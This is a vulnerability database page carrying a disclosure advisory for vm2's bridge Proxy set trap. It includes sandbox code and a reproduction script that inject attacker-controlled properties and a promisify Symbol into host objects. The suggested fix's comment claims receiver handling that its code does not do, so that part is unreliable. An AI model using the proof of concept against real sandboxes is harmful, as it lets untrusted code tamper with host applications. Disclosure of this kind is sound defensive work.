Alta

vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain

  • Publicada: 29.05.2026
  • Actualizado: 11.10.2026 10:22

Summary

The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.

This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.

Vulnerable Code

js
// bridge.js:1231-1260
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    // ...
    try {
        value = otherFromThis(value);
        return otherReflectSet(object, key, value) === true;
        // BUG: 'receiver' is never used.
        // Should check if receiver !== proxy and handle accordingly.
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Impact

Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:

js
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side

Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:

js
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
    return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'

Reproduction

js
const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);

vm.run(`
  const kCustom = Symbol.for('nodejs.util.promisify.custom');
  const child = Object.create(hostFn);
  child[kCustom] = function() {
    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
  };
`);

// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG

Suggested Fix

js
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
        return this.setPrototypeOf(target, value);
    }
    if (key === 'constructor' && thisArrayIsArray(object)) {
        thisReflectSet(target, key, value);
        return true;
    }
    try {
        value = otherFromThis(value);
        // When receiver is not the proxy itself, set on receiver (this-realm)
        // instead of the host target to preserve prototype-chain semantics.
        return otherReflectSet(object, key, value) === true;
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm vm2 < 3.11.4 3.11.4

Referencias

Puntuación CVSS 8.6/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Debilidad (CWE)
CWE-693
Plataforma
npm
Paquete
vm2
Publicada
29.05.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-c4cf-2hgv-2qv6 - CC BY 4.0

Historial de vulnerabilidades: vm2

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (78) en el archivo
Entradas en total
78
Primera → última
10.2021 10.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 51
  • Alta 14
  • Media 12
  • Baja 1

Divulgaciones por año

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Gravedad:
  1. Crítica · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Crítica · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Crítica · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Crítica · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Crítica · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Crítica · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. Crítica · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  8. Crítica · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  9. Crítica · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  10. Crítica · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  11. Crítica · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  12. Crítica · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  13. Alta · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  14. Crítica · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  15. Crítica · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  16. vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain esta entrada
    Alta · 8.6 CVE-2026-47209 < 3.11.4 3.11.4
  17. Crítica · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  18. Crítica · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  19. Crítica · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  20. Crítica · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  21. Crítica · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  22. Crítica · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  23. Crítica · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  24. Crítica · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  25. Crítica · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  26. Crítica · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  27. Crítica · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  28. Crítica · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  29. Crítica · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  30. Crítica · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  31. Crítica · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  32. Crítica · 9.8 CVE-2023-37903 <= 3.9.19 sin corrección
  33. Crítica · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  34. Crítica · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  35. Crítica · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
  36. Crítica · 9.8 CVE-2023-29017 < 3.9.15 3.9.15
Mostrar más (5) Mostrando 60 de 65

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.